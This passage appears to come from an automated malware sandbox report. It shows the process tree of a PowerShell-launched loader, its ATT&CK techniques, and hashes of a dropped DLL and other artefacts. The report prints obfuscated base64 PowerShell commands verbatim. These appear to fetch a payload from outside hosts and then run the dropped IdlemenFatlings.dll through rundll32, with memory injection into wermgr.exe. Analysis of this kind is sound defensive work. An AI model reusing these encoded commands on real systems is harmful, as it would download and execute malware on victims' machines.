EQASQBBAE4AQQBBADQAQQBBAD0APQBUAEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAYQBBAEIAdgBBAEgATQBBAGMAQQBCAG8AQQBHAGsAQQBaAEEAQgBsAEEARQA0AEEAYQBRAEIAMABBAEgASQBBAGIAdwBCADQAQQBIAGsAQQBiAEEAQQB1AEEARwBVAEEAYgBnAEIAbABBAEgASQBBAFoAdwBCADUAQQBBAD0APQAiADsAJABQAHIAZQBzAGgAcgB1AG4AawAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAdwBBAFkAUQBCAHUAQQBIAFUAQQBkAGcAQgBwAEEARwBFAEEAYgBnAEIARABBAEcAVQBBAGMAQQBCAG8AQQBHAEUAQQBiAEEAQgB2AEEASABRAEEAYgB3AEIAdABBAEgAawBBAEwAZwBCAGkAQQBHAHcAQQBZAFEAQgBqAEEARwBzAEEAQwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEUAQQBjAEEAQgB3AEEARwB3AEEAWQBRAEIAdQBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBEAEEARwBFAEEAYgBnAEIAdQBBAEcAOABBAGIAZwBCAHAAQQBIAE0AQQBiAFEAQQB1AEEARwBJAEEAYQBRAEIAcgBBAEcAVQBBACIAOwBiAHIAZQBhAGsAOwB9ACAAZQBsAHMAZQAgAHsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand JABwAGgAcgBlAG4AbwBnAHIAYQBpAGgAQQBjAGMAcgBlAGQAaQB0AGUAZAAgAD0AIAAiAFIAYQBzAGkAbgBnAFQAcgBpAGMAaABvAGcAeQBuAGUAIgA7ACQAQwByAGUAcABpAHQAdQBzAFIAYQBnAGcAZQByAHkAIAA9ACAAIgBDAG8AcABhAHIAZQBuAGEAcgB5ACIAOwBjAG0AZAAgAC8AYwAgAHIAdQBuAGQAbABsADMAMgAgAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEkAZABsAGUAbQBlAG4ARgBhAHQAbABpAG4AZwBzAC4AZABsAGwALABtAG8AcgBlADsAJABvAHAAaQBzAHQAaABvAGIAcgBhAG4AYwBoAGkAYQB0AGUAQQBuAHQAaAByAG8AcABvAGkAZAAgAD0AIAAiAGgAZQBtAGkAYQB6AHkAZwBvAHUAcwBJAG4AZABvAGMAaQBiAGwAZQAiADsAJABTAHUAYgBtAGUAcgBnAGkAbgBnAEcAcgBlAGEAcwBlAGwAZQBzAHMAIAA9ACAAIgBCAHIAbwBjAGgAbwAiADsAJABTAG8AdQByAGUAcwB0ACAAPQAgACIAaABhAGUAbQBpAGMAQwBvAG4AdABlAG0AcABsAGEAdABvAHIAIgA7AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2436
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c rundll32 C:\ProgramData\IdlemenFatlings.dll,more
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1076
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 C:\ProgramData\IdlemenFatlings.dll,more
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3596
      - C:\Windows\SysWOW64\rundll32.exe
        
        rundll32 C:\ProgramData\IdlemenFatlings.dll,more
        6⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4764
        
        C:\Windows\SysWOW64\wermgr.exe
        
        C:\Windows\SysWOW64\wermgr.exe
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3452

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

IdlemenFatlings.dll

Path C:\ProgramData\IdlemenFatlings.dll
Size 1.8MB
SHA256 d27093c013d86061d50153f34673369171916f65eb33d7dd19ff1cc938c68ff9
MD5 4304ec4c3cd95403532db74087f5999d
SHA1 146ea8c82aed7b2b76d0ecd03f4f067228443546
SHA512 a1d28c6733e87bf75102e79f873dc8763ff4d01783b47717277f087775f061f6f21c0ac7f092cd2af4963c5677c2840600c0a13ad1588c64f70dba4f605e91bb
SSDEEP 24576:SA2fv3u6Bi9VqNOso4wIfgDmn6mYMy2pMDz/HrCGpTyk:SA2H3li98M14jZYMyt3rCzk
MD5 SHA1 SHA512 SSDEEP

Submit Download

IdlemenFatlings.dll

Path C:\ProgramData\IdlemenFatlings.dll
Size 1.8MB
SHA256 d27093c013d86061d50153f34673369171916f65eb33d7dd19ff1cc938c68ff9
MD5 4304ec4c3cd95403532db74087f5999d
SHA1 146ea8c82aed7b2b76d0ecd03f4f067228443546
SHA512 a1d28c6733e87bf75102e79f873dc8763ff4d01783b47717277f087775f061f6f21c0ac7f092cd2af4963c5677c2840600c0a13ad1588c64f70dba4f605e91bb
SSDEEP 24576:SA2fv3u6Bi9VqNOso4wIfgDmn6mYMy2pMDz/HrCGpTyk:SA2H3li98M14jZYMyt3rCzk
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f11191abae782730f3e16400aef46c9e8404c2608dc132ec646b41e7f07911f9
MD5 33e9dd1bc41e70c4fbdf04b85cf36ff4
SHA1 0433625fae735abc2f11249456e212dfca1473a9
SHA512 d74083d2f0e7fe21db55c7c0bc880dd2d1fe92ca806c79f77ec0bbc7d2ae5fd1d3509d2ebd0fa60efbab0688711902b7a1da6419aba94a0897810ccf6d9957df
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_vrklzhr1.zbv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vrklzhr1.zbv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/448-143-0x000001B1B8280000-0x000001B1B8290000-memory.dmp

Download

memory/448-146-0x000001B1B8280000-0x000001B1B8290000-memory.dmp

Download

memory/448-147-0x000001B1B8280000-0x000001B1B8290000-memory.dmp

Download

memory/448-148-0x000001B1B8280000-0x000001B1B8290000-memory.dmp

Download

memory/448-145-0x000001B1B8280000-0x000001B1B8290000-memory.dmp

Download

memory/448-139-0x000001B1D03E0000-0x000001B1D0402000-memory.dmp

Download

memory/448-144-0x000001B1B8280000-0x000001B1B8290000-memory.dmp

Download

memory/2436-161-0x000001452A9B0000-0x000001452A9C0000-memory.dmp

Download

memory/2436-160-0x000001452A9B0000-0x000001452A9C0000-memory.dmp

Download

memory/2436-159-0x000001452A9B0000-0x000001452A9C0000-memory.dmp

Download

memory/3452-170-0x0000000001250000-0x0000000001252000-memory.dmp

Download

memory/3452-171-0x0000000001220000-0x0000000001244000-memory.dmp

Download

memory/3452-177-0x0000000001220000-0x0000000001244000-memory.dmp

Download

memory/3452-183-0x0000000001220000-0x0000000001244000-memory.dmp

Download

memory/3452-184-0x0000000001220000-0x0000000001244000-memory.dmp

Download

memory/3452-185-0x0000000001220000-0x0000000001244000-memory.dmp

Download

memory/3452-186-0x0000000001220000-0x0000000001244000-memory.dmp

Download

memory/4764-164-0x0000000000BB0000-0x0000000000BB3000-memory.dmp

Download

memory/4764-165-0x0000000010000000-0x0000000010024000-memory.dmp

Download